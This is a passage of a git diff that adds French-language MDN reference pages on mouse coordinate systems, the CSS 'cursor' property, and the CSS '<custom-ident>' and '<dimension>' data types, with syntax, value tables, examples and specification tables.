+      &lt;/p&gt;
+      &lt;p&gt;
+        Système de coordonnées Client : &lt;span id="clientX"&gt;0&lt;/span&gt;,
+        &lt;span id="clientY"&gt;0&lt;/span&gt;
+      &lt;/p&gt;
+      &lt;p&gt;
+        Système de coordonnées Page : &lt;span id="pageX"&gt;0&lt;/span&gt;,
+        &lt;span id="pageY"&gt;0&lt;/span&gt;
+      &lt;/p&gt;
+      &lt;p&gt;
+        Système de coordonnées Écran : &lt;span id="screenX"&gt;0&lt;/span&gt;,
+        &lt;span id="screenY"&gt;0&lt;/span&gt;
+      &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<details open><summary>
+<h3 id="CSS">CSS</h3>
+</summary>
+
+<p>Le code CSS est uniquement utilisé à des fins stylistiques. La classe <code>"outer"</code> est utilisée pour la boîte englobante qu'on rend volontairement trop large pour la fenêtre de MDN afin de pouvoir <em>scroller</em> horizontalement. La boîte <code>"inner"</code> est celle sur laquelle on suit les évènements.</p>
+
+<pre class="brush: css">.outer {
+  width: 1000px;
+  height: 200px;
+  background-color: red;
+}
+
+.inner {
+  position: relative;
+  width: 500px;
+  height: 150px;
+  top: 25px;
+  left: 100px;
+  background-color: blue;
+  color: white;
+  cursor: crosshair;
+  user-select: none;
+  -moz-user-select: none;
+  -ms-user-select: none;
+  -webkit-user-select: none;
+}
+
+.log {
+  position: relative;
+  width: 100%;
+  text-align: center;
+}</pre>
+</details>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>Voici ci-après le résultat obtenu avec ces éléments. Vous pouvez voir comment les coordonnées en X et en Y évoluent lorsque vous déplacez la souris à l'intérieur ou en dehors de la boîte bleue selon les différents systèmes de coordonnées. On peut également voir que le défilement horizontal n'a pas d'impact sur la valeur <code>pageX</code>.</p>
+
+<p>{{EmbedLiveSample("Exemples", 600, 250)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Utiliser les transformations CSS</a> : comment modifier un système de coordonnées</li>
+ <li>Les coordonnées relatives aux évènements de la souris :
+  <ul>
+   <li>{{domxref("MouseEvent.offsetX")}} et {{domxref("MouseEvent.offsetY")}}</li>
+   <li>{{domxref("MouseEvent.clientX")}} et {{domxref("MouseEvent.clientY")}}</li>
+   <li>{{domxref("MouseEvent.pageX")}} et {{domxref("MouseEvent.pageY")}}</li>
+   <li>{{domxref("MouseEvent.screenX")}} et {{domxref("MouseEvent.screenY")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/cursor/index.html b/files/fr/web/css/cursor/index.html
new file mode 100644
index 0000000000..0d83725ddc
--- /dev/null
+++ b/files/fr/web/css/cursor/index.html
@@ -0,0 +1,334 @@
+---
+title: cursor
+slug: Web/CSS/cursor
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/cursor
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>cursor</code></strong> définit la forme du curseur (s'il y en a un) lorsque le pointeur est au-dessus de l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/cursor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+cursor: pointer;
+cursor: auto;
+
+/* Une valeur d'URL avec un mot-clé par défaut */
+cursor: url(hand.cur), pointer;
+
+/* Une valeur d'URL avec des coordonnées et un mot-clé par défaut */
+cursor: url(cursor1.png) 4 12, auto;
+cursor: url(cursor2.png) 2 2, pointer;
+
+/* Valeurs globales */
+cursor: inherit;
+cursor: initial;
+cursor: unset;
+</pre>
+
+<p>La propriété <code>cursor</code> peut être définie grâce à zéro ou plusieurs valeurs <code><a href="#uri">&lt;uri&gt;</a></code> séparées par des virgules et suivi par un unique <a href="#mot-clé">mot-clé obligatoire</a>. Chaque <code>&lt;uri&gt;</code> doit pointer vers un fichier image. Le navigateur essaiera de télécharger la première image indiquée et passera à la suivante s'il ne peut pas. Si aucune image ne fonctionne, il utilisera le mot-clé final.</p>
+
+<p>Chaque <code>&lt;uri&gt;</code> peut éventuellement être suivi par un couple de nombres séparés par un espace qui représente les coordonnées (abscisse puis ordonnée) <code><a href="#xy">&lt;x&gt;&lt;y&gt;</a></code> Ces coordonnées permettent de paramétrer le point d'action (<em>hotspot</em>) du curseur par rapport au coin en haut à gauche de l'image.</p>
+
+<p>Par exemple, on peut indiquer deux images grâce à deux valeurs <code>&lt;uri&gt;</code> et fournir des coordonnées <code>&lt;x&gt;&lt;y&gt;</code> pour la deuxième. Si aucune des images n'a pu être chargée, on recourt au mot-clé <code>progress</code> :</p>
+
+<pre class="brush: css">cursor: url(one.svg), url(two.svg) 5 5, progress;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="uri"><code>&lt;uri&gt;</code></a></dt>
+ <dd>Une <code>url(…)</code> ou une liste séparées de telles valeurs qui pointent vers un fichier image. On peut utiliser différentes {{cssxref("&lt;uri&gt;")}} en cas de recours si certains types d'images ne sont pas pris en charge. Il est obligatoire qu'une valeur non-URL soit présente à la fin de cette liste.</dd>
+ <dt><a id="xy"><code>&lt;x&gt;</code> <code>&lt;y&gt;</code></a> {{experimental_inline}}</dt>
+ <dd>Des coordonnées en abscisses et en ordonnées sans unité, inférieures à 32.</dd>
+ <dt><a id="mot-clé">Valeurs utilisant un mot-clé</a></dt>
+ <dd>
+ <p><strong>Vous pouvez déplacer votre souris au-dessus de chaque ligne pour tester.</strong></p>
+
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Catégorie</th>
+    <th>Valeur CSS</th>
+    <th>Rendu</th>
+    <th>Description</th>
+   </tr>
+   <tr style="cursor: auto;">
+    <td rowspan="3">Général</td>
+    <td><code>auto</code></td>
+    <td></td>
+    <td>Le navigateur détermine le curseur à afficher en fonction du contexte (par exemple, l'effet sera équivalent à <code>text</code> lors du survol du texte).</td>
+   </tr>
+   <tr style="cursor: default;">
+    <td><code>default</code></td>
+    <td><img alt="default.gif" src="/@api/deki/files/3438/=default.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le curseur par défaut de la plateforme (qui est généralement une flèche).</td>
+   </tr>
+   <tr style="cursor: none;">
+    <td><code>none</code></td>
+    <td></td>
+    <td>Aucun curseur n'est affiché.</td>
+   </tr>
+   <tr style="cursor: context-menu;">
+    <td rowspan="5" style="cursor: auto;">Liens &amp; états</td>
+    <td><code>context-menu</code></td>
+    <td><img alt="context-menu.png" src="/@api/deki/files/3461/=context-menu.png" style="height: 26px; width: 26px;"></td>
+    <td>Un menu contextuel est disponible sous le curseur. Seul<br>
+     IE 10 et les versions supérieures ont implémenté cette valeur sur Windows : {{Bug("258960")}}.</td>
+   </tr>
+   <tr style="cursor: help;">
+    <td><code>help</code></td>
+    <td><img alt="help.gif" src="/@api/deki/files/3442/=help.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le pointeur indique qu'une aide est disponible.</td>
+   </tr>
+   <tr style="cursor: pointer;">
+    <td><code>pointer</code></td>
+    <td><img alt="pointer.gif" src="/@api/deki/files/3449/=pointer.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le curseur est un pointeur qui indique un lien ; généralement c'est une main.</td>
+   </tr>
+   <tr style="cursor: progress;">
+    <td><code>progress</code></td>
+    <td><img alt="progress.gif" src="/@api/deki/files/3450/=progress.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le programme est occupé en arrière-plan mais l'utilisateur peut toujours interagir avec l'interface (à la différence de <code>wait</code>).</td>
+   </tr>
+   <tr style="cursor: wait;">
+    <td><code>wait</code></td>
+    <td><img alt="wait.gif" src="/@api/deki/files/3457/=wait.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le programme est occupé, empêchant toute interaction.</td>
+   </tr>
+   <tr style="cursor: cell;">
+    <td rowspan="4" style="cursor: auto;">Sélection</td>
+    <td><code>cell</code></td>
+    <td><img alt="cell.gif" src="/@api/deki/files/3434/=cell.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le pointeur indique que la  ou les cellules du tableau peuvent être sélectionnées.</td>
+   </tr>
+   <tr style="cursor: crosshair;">
+    <td><code>crosshair</code></td>
+    <td><img alt="crosshair.gif" src="/@api/deki/files/3437/=crosshair.gif" style="height: 26px; width: 26px;"></td>
+    <td>Un curseur en forme de croix, généralement utilisé pour indiquer une sélection sur une image.</td>
+   </tr>
+   <tr style="cursor: text;">
+    <td><code>text</code></td>
+    <td><img alt="text.gif" class="default" src="/files/3809/text.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le pointeur indique que le texte peut être sélectionné.</td>
+   </tr>
+   <tr style="cursor: vertical-text;">
+    <td><code>vertical-text</code></td>
+    <td><img alt="vertical-text.gif" src="/@api/deki/files/3456/=vertical-text.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le pointeur indique que du texte vertical peut être sélectionné.</td>
+   </tr>
+   <tr style="cursor: alias;">
+    <td rowspan="7" style="cursor: auto;">Glisser/déposer</td>
+    <td><code>alias</code></td>
+    <td><img alt="alias.gif" src="/@api/deki/files/3432/=alias.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le pointeur indique qu'un alias ou qu'un raccourci sera créé.</td>
+   </tr>
+   <tr style="cursor: copy;">
+    <td><code>copy</code></td>
+    <td><img alt="copy.gif" class="default" src="/@api/deki/files/3436/=copy.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le pointeur indique que quelque chose devra être copié.</td>
+   </tr>
+   <tr style="cursor: move;">
+    <td><code>move</code></td>
+    <td><img alt="move.gif" src="/@api/deki/files/3443/=move.gif" style="height: 26px; width: 26px;"></td>
+    <td>L'objet survolé devra être déplacé.</td>
+   </tr>
+   <tr style="cursor: no-drop;">
+    <td><code>no-drop</code></td>
+    <td><img alt="no-drop.gif" class="lwrap" src="/@api/deki/files/3445/=no-drop.gif" style="float: left; height: 26px; width: 33px;"></td>
+    <td>Le curseur indique qu'on ne peut pas déposer d'élément à cet endroit.<br>
+     {{bug("275173")}} pour Windows et Mac OS X, « <code>no-drop</code> a le même effet que <code>not-allowed</code> ».</td>
+   </tr>
+   <tr id="grab" style="cursor: -moz-grab; cursor: -webkit-grab; cursor: grab;">
+    <td><code>grab</code></td>
+    <td><img alt="grab.gif" class="default" src="/@api/deki/files/3440/=grab.gif"></td>
+    <td rowspan="2" style="cursor: auto;">
+     <p>Le pointeur indique que le contenu peut être accroché/attrapé ou est accroché/attrapé pour être glissé et déposé quelque part.</p>
+    </td>
+   </tr>
+   <tr style="cursor: -moz-grabbing; cursor: -webkit-grabbing; cursor: grabbing;">
+    <td><code>grabbing</code></td>
+    <td><img alt="grabbing.gif" class="default" src="/@api/deki/files/3441/=grabbing.gif"></td>
+   </tr>
+   <tr style="cursor: not-allowed;">
+    <td><code>not-allowed</code></td>
+    <td><img alt="not-allowed.gif" src="/@api/deki/files/3446/=not-allowed.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le curseur indique que quelque chose ne peut pas être fait.</td>
+   </tr>
+   <tr style="cursor: all-scroll;">
+    <td rowspan="15" style="cursor: auto;">Redimensionnement &amp; défilement</td>
+    <td><code>all-scroll</code></td>
+    <td><img alt="all-scroll.gif" src="/@api/deki/files/3433/=all-scroll.gif" style="height: 26px; width: 26px;"></td>
+    <td>Le curseur indique qu'on peut faire défiler le contenu dans n'importe quelle direction.<br>
+     {{bug("275174")}} pour Windows, « <code>all-scroll</code> a le même effet que <code>move</code>".</td>
+   </tr>
+   <tr style="cursor: col-resize;">
+    <td><code>col-resize</code></td>
+    <td><img alt="col-resize.gif" src="/@api/deki/files/3435/=col-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>L'élément ou la colonne peut être redimensionné horizontalement.</td>
+   </tr>
+   <tr style="cursor: row-resize;">
+    <td><code>row-resize</code></td>
+    <td><img alt="row-resize.gif" src="/@api/deki/files/3451/=row-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>L'élément ou la ligne peut être redimensionné verticalement.</td>
+   </tr>
+   <tr style="cursor: n-resize;">
+    <td><code>n-resize</code></td>
+    <td><img alt="Example of a resize towards the top cursor" src="/files/4083/n-resize.gif" style="border-style: solid; border-width: 0px; height: 26px; width: 26px;"></td>
+    <td rowspan="8" style="cursor: auto;">
+     <p>Un bord peut être déplacé. Par exemple, le curseur <code>se-resize</code> peut être utilisé lorsqu'on redimensionne une boîte à partir de son coin sud-est.</p>
+
+     <p>Dans certains environnements, un curseur bidirectionnel équivalent est affiché (ex. <code>n-resize</code> et <code>s-resize</code> sont synonymes de <code>ns-resize</code>).</p>
+    </td>
+   </tr>
+   <tr style="cursor: e-resize;">
+    <td><code>e-resize</code></td>
+    <td><img alt="Example of a resize towards the right cursor" src="/files/4085/e-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: s-resize;">
+    <td><code>s-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom cursor " src="/files/4087/s-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: w-resize;">
+    <td><code>w-resize</code></td>
+    <td><img alt="Example of a resize towards the left cursor" src="/files/4089/w-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ne-resize;">
+    <td><code>ne-resize</code></td>
+    <td><img alt="Example of a resize towards the top-right corner cursor" src="/files/4091/ne-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nw-resize;">
+    <td><code>nw-resize</code></td>
+    <td><img alt="Example of a resize towards the top-left corner cursor" src="/files/4093/nw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: se-resize;">
+    <td><code>se-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-right corner cursor" src="/files/4097/se-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: sw-resize;">
+    <td><code>sw-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-left corner cursor" src="/files/4095/sw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ew-resize;">
+    <td><code>ew-resize</code></td>
+    <td><img alt="3-resize.gif" class="default" src="/files/3806/3-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td rowspan="4" style="cursor: auto;">Le pointeur indique un redimensionnement bidirectionnel.</td>
+   </tr>
+   <tr style="cursor: ns-resize;">
+    <td><code>ns-resize</code></td>
+    <td><img alt="6-resize.gif" class="default" src="/files/3808/6-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nesw-resize;">
+    <td><code>nesw-resize</code></td>
+    <td><img alt="1-resize.gif" class="default" src="/files/3805/1-resize.gif"></td>
+   </tr>
+   <tr style="cursor: nwse-resize;">
+    <td><code>nwse-resize</code></td>
+    <td><img alt="4-resize.gif" class="default" src="/files/3807/4-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: -webkit-zoom-in; cursor: zoom-in;">
+    <td rowspan="2">Zoom</td>
+    <td><code>zoom-in</code></td>
+    <td><img alt="zoom-in.gif" class="default" src="/@api/deki/files/3459/=zoom-in.gif"></td>
+    <td rowspan="2" style="cursor: auto;">
+     <p>Le pointeur indique qu'on peut zoomer/dézoomer sur le contenu.</p>
+    </td>
+   </tr>
+   <tr style="cursor: -webkit-zoom-out; cursor: zoom-out;">
+    <td><code>zoom-out</code></td>
+    <td><img alt="zoom-out.gif" class="default" src="/@api/deki/files/3460/=zoom-out.gif"></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Bien que la spécification ne définisse aucune limite de taille pour les curseurs, chaque navigateur/agent utilisateur pourra imposer la sienne. Les images de curseur utilisées qui dépassent les limites prises en charge seront généralement ignorées.</p>
+
+<p>Pour plus d'informations, voir le tableau de compatibilité ci-après.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.toto {
+  cursor: crosshair;
+}
+
+/* On utilise la valeur préfixée   */
+/* si "zoom-in" n'est pas prise en */
+/* charge */
+.truc {
+  cursor: -webkit-zoom-in;
+  cursor: zoom-in;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="toto"&gt;
+  On dirait qu'on pourrait sélectionner une zone.
+&lt;/p&gt;
+
+&lt;p class="truc"&gt;
+  Et là on peut zoomer.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#cursor', 'cursor')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Ajout de plusieurs mots-clés et de la syntaxe de positionnement pour <code>url()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#cursor-props', 'cursor')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.cursor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Basic_User_Interface/Utilisation_d_URL_pour_la_propriété_cursor">Utiliser des valeurs URL pour <code>cursor</code></a></li>
+ <li>{{cssxref("pointer-events")}}</li>
+ <li>La fonction CSS {{cssxref("url()", "url()")}}</li>
+</ul>
diff --git a/files/fr/web/css/custom-ident/index.html b/files/fr/web/css/custom-ident/index.html
new file mode 100644
index 0000000000..64c288514d
--- /dev/null
+++ b/files/fr/web/css/custom-ident/index.html
@@ -0,0 +1,128 @@
+---
+title: <custom-ident>
+slug: Web/CSS/custom-ident
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/custom-ident
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de données CSS <strong><code>&lt;custom-ident&gt;</code></strong> permet de représenter des chaînes de caractères arbitraires définies par l'utilisateur et qui sont utilisées comme identifiants. Ce type de données est sensible à la casse et pour chaque contexte d'utilisation, plusieurs valeurs sont exclues afin d'éviter des ambiguïtés et des erreurs.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La syntaxe est proche de celle utilisée pour les identifiants CSS. Une valeur <code>&lt;custom-ident&gt;</code> est sensible à la casse et est une séquence de caractères dont les caractères peuvent être :</p>
+
+<ul>
+ <li>n'importe quel caractère alphanumérique (<code>A</code> à <code>Z</code> ou <code>a</code> à <code>z</code>),</li>
+ <li>n'importe quel chiffre (<code>0</code> à <code>9</code>),</li>
+ <li>un tiret (<code>-</code>)</li>
+ <li>un tiret bas (<em>underscore</em>) (<code>_</code>),</li>
+ <li>un caractère échappé via une barre oblique inversée (<code>\</code>),</li>
+ <li>un caractère <a class="external" href="http://en.wikipedia.org/wiki/Unicode">Unicode</a> (une barre oblique inversée suivie d'un à six chiffres hexadécimaux représentant le point de code Unicode).</li>
+</ul>
+
+<p>Le premier caractère de l'identifiant ne doit pas être un chiffre, un tiret suivi d'un chiffre ou un tiret suivi d'un autre tiret. Une valeur <code>&lt;custom-ident&gt;</code> ne doit pas être encadrée entre quotes ou entre doubles quotes car ce serait alors une valeur {{cssxref("&lt;string&gt;")}}.</p>
+
+<p>On notera que <code>id1</code>, <code>Id1</code>, <code>iD1</code> et <code>ID1</code> sont des identifiants différents car leurs casses sont différentes. En revanche, il existe plusieurs façons d'échapper un même caractère et <code>toto\?</code> et <code>toto\3F</code> représentent donc le même identifiant.</p>
+
+<h3 id="Liste_des_valeurs_interdites">Liste des valeurs interdites</h3>
+
+<p>Afin d'éviter des ambiguïtés dangereuses, chaque propriété qui utilise <code>&lt;custom-ident&gt;</code> définit également une liste de valeurs interdites :</p>
+
+<dl>
+ <dt>{{cssxref("animation-name")}}</dt>
+ <dd>Interdit d'utiliser les valeurs CSS globales <code>unset</code>, <code>initial</code> et <code>inherit</code> ainsi que la valeur <code>none</code>.</dd>
+ <dt>{{cssxref("counter-reset")}}</dt>
+ <dt>{{cssxref("counter-increment")}}</dt>
+ <dd>Interdit d'utiliser les valeurs CSS globales <code>unset</code>, <code>initial</code> et <code>inherit</code> ainsi que la valeur <code>none</code>.</dd>
+ <dt>{{cssxref("@counter-style")}}</dt>
+ <dt>{{cssxref("list-style-type")}}</dt>
+ <dd>Interdit d'utiliser les valeurs CSS globales <code>unset</code>, <code>initial</code> et <code>inherit</code> ainsi que les valeurs <code>none</code>, <code>inline</code>, <code>outside</code> et d'autres valeurs prédéfinies, implémentées par les différents navigateurs : <code>disc</code>, <code>circle</code>, <code>square</code>, <code>decimal</code>, <code>cjk-decimal</code>, <code>decimal-leading-zero</code>, <code>lower-roman</code>, <code>upper-roman</code>, <code>lower-greek</code>, <code>lower-alpha</code>, <code>lower-latin</code>, <code>upper-alpha</code>, <code>upper-latin</code>, <code>arabic-indic</code>, <code>armenian</code>, <code>bengali</code>, <code>cambodian</code>, <code>cjk-earthly-branch</code>, <code>cjk-heavenly-stem</code>, <code>cjk-ideographic</code>, <code>devanagari</code>, <code>ethiopic-numeric</code>, <code>georgian</code>, <code>gujarati</code>, <code>gurmukhi</code>, <code>hebrew</code>, <code>hiragana</code>, <code>hiragana-iroha</code>, <code>japanese-formal</code>, <code>japanese-informal</code>, <code>kannada</code>, <code>katakana</code>, <code>katakana-iroha</code>, <code>khmer</code>, <code>korean-hangul-formal</code>, <code>korean-hanja-formal</code>, <code>korean-hanja-informal</code>, <code>lao</code>, <code>lower-armenian</code>, <code>malayalam</code>, <code>mongolian</code>, <code>myanmar</code>, <code>oriya</code>, <code>persian</code>, <code>simp-chinese-formal</code>, <code>simp-chinese-informal</code>, <code>tamil</code>, <code>telugu</code>, <code>thai</code>, <code>tibetan</code>, <code>trad-chinese-formal</code>, <code>trad-chinese-informal</code>, <code>upper-armenian</code>, <code>disclosure-open</code> et <code>disclosure-close</code>.</dd>
+ <dt>{{cssxref("grid-row-start")}}<br>
+ {{cssxref("grid-row-end")}}<br>
+ {{cssxref("grid-column-start")}}<br>
+ {{cssxref("grid-column-end")}}</dt>
+ <dd>Interdisent la valeur <code>span</code>.</dd>
+ <dt>{{cssxref("will-change")}}</dt>
+ <dd>Interdit d'utiliser les valeurs CSS globales <code>unset</code>, <code>initial</code> et <code>inherit</code> ainsi que les valeurs <code>will-change</code>, <code>auto</code>, <code>scroll-position</code> et <code>contents</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voici des identifiants valides</p>
+
+<pre class="eval">nono79            Un mélange de caractères alphanumériques.
+ground-level      Un mélange de caractères alphanumériques avec un tiret.
+-test             Un tiret suivi d'un mélange de caractères alphanumériques.
+_internal         Un tiret bas suivi d'un mélange de caractères alphanumériques.
+\22 toto          Un caractère Unicode suivi par une série de caractères alphanumériques.
+bili\.bob         Le point est bien échappé.
+</pre>
+
+<p>Voici des identifiants invalides :</p>
+
+<pre class="eval">34rem             Il ne doit pas démarrer par un chiffre.
+-12rad            Il ne doit pas démarrer par un tiret suivi d'un chiffre.
+bili.bob          Il ne doit contenir que des caractères alphanumériques. _ et - n'ont pas besoin d'être échappés.
+--toto            Il ne doit pas démarrer avec deux tirets.
+'bilibob'         Ce n'est pas une valeur &lt;user-ident&gt; mais une {{cssxref("&lt;string&gt;")}}.
+"bilibob"         Ce n'est pas une valeur &lt;user-ident&gt; mais une {{cssxref("&lt;string&gt;")}}.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Will Change', '#valdef-will-change-custom-ident', '<code>&lt;custom-ident&gt;</code> for <code>will-change</code>')}}</td>
+   <td>{{Spec2('CSS Will Change')}}</td>
+   <td>Définition des valeurs exclues pour {{cssxref("will-change")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#typedef-counter-style-name', '<code>&lt;custom-ident&gt;</code> for <code>list-style-type</code>')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Utilisation de <code>&lt;custom-ident&gt;</code> à la place d'une liste finie de mots-clés. Définition des valeurs exclues pour {{cssxref("list-style-type")}} et {{cssxref("@counter-style")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#counter-properties', '<code>&lt;custom-ident&gt;</code> for <code>counter-*</code>')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td><code>&lt;identifier&gt;</code> est renommé en <code>&lt;custom-ident&gt;</code>. Son utilisation est ajoutée pour la propriété <code>counter-set</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#typedef-single-animation-name', '<code>&lt;custom-ident&gt;</code> for <code>animation-name</code>')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition des valeurs exclues pour {{cssxref("animation-name")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#identifier-value', '<code>&lt;custom-ident&gt;</code>')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td><code>&lt;identifier&gt;</code> est renommé en <code>&lt;custom-ident&gt;</code>. Devient un pseudo-type et est lié aux différents cas d'utilisation pour la définition des valeurs exclues.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#value-def-identifier', '<code>&lt;identifier&gt;</code>')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p><em>Ce type de données n'est pas un type de données « réel » mais un type artificiel permettant de simplifier la description des valeurs permises. Il n'y a donc pas de données de compatibilité stricto sensu.</em></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("&lt;ident&gt;")}}</li>
+ <li><a href="/fr/docs/tag/Type">Les différents types de données CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/dimension/index.html b/files/fr/web/css/dimension/index.html
new file mode 100644
index 0000000000..8c6f397e97
--- /dev/null
+++ b/files/fr/web/css/dimension/index.html
@@ -0,0 +1,76 @@
+---
+title: <dimension>
+slug: Web/CSS/dimension
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/dimension
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <strong><code>&lt;dimension&gt;</code></strong> représente une valeur de type {{CSSxRef("&lt;number&gt;")}} directement suivie d'une unité : par exemple <code>10px</code>.</p>
+
+<p>CSS utilise des dimensions pour définir des distances (type {{CSSxRef("&lt;length&gt;")}}), des durées (type {{CSSxRef("&lt;time&gt;")}}), des fréquences (type {{CSSxRef("&lt;frequency&gt;")}}), des résolutions (type {{CSSxRef("&lt;resolution&gt;")}}) ainsi que d'autres quantités.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La syntaxe d'une valeur de type <code>&lt;dimension&gt;</code> est un nombre (valeur de type {{CSSxRef("&lt;number&gt;")}}) immédiatement suivi d'une unité représentée par son identifiant. Les identifiants utilisés pour les unités sont insensibles à la casse.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Dimensions_valides">Dimensions valides</h3>
+
+<pre class="syntaxbox example-good">12px      12 pixels
+1rem      1 rem
+1.2pt     1.2 points
+2200ms    2200 millisecondes
+200hz     200 Hertz
+200Hz     200 Hertz (les unités sont insensibles à la casse)
+</pre>
+
+<h3 id="Dimensions_invalides">Dimensions invalides</h3>
+
+<pre class="syntaxbox example-bad">12 px       L'unité doit immédiatement être indiquée après le nombre
+12"px"      Les unités sont des identifiants et ne doivent pas être entourées de quotes
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Values", "#dimensions", "&lt;dimension&gt;")}}</td>
+   <td>{{Spec2("CSS4 Values")}}</td>
+   <td>Adds <code>cap</code>, <code>ic</code>, <code>lh</code>, <code>rlh</code>, <code>vi</code>, <code>vb</code></td>
+  </tr>
+  <tr>
